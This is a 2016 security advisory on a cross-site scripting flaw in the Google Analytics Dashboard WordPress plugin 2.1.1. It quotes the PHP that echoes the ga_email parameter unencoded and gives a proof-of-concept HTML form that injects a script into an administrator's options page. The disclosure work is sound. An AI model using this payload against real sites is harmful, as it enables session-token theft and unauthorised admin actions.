WordPress Google Analytics Dashboard plugin version 2.1.1 suffers from a cross site scripting vulnerability.
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Cross-Site Scripting in Google Analytics Dashboard WordPress Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Google Analytics
Dashboard WordPress Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160724-0026
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Tested versions
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This issue was successfully tested on Google Analytics Dashboard
WordPress Plugin version 2.1.1.
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html
This issue exists in the file gad-admin-options-ui.php and is caused due to the lack of output encoding on the ga_email option/request parameter.
<tr valign="top">
<th scope="row">
<label for="ga_email"><?php _e( 'Google Analytics Email', 'google-analytics-dashboard' ); ?></label></th>
<td>
<input name="ga_email" type="text" size="15" id="ga_email" class="regular-text" value="<?php echo isset( $_POST['ga_email'] ) ? $_POST['ga_email'] : get_option( 'gad_login_email' ); ?>" />
</td>
</tr>
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php" method="POST">
<input type="hidden" name="gad_login_type" value="client" />
<input type="hidden" name="ga_email" value=""><script>alert(1);</script>" />
<input type="hidden" name="ga_pass" value="password" />
<input type="hidden" name="ga_save_pass" value="ga_save_pass" />
<input type="hidden" name="SubmitLogin" value="Login ?»" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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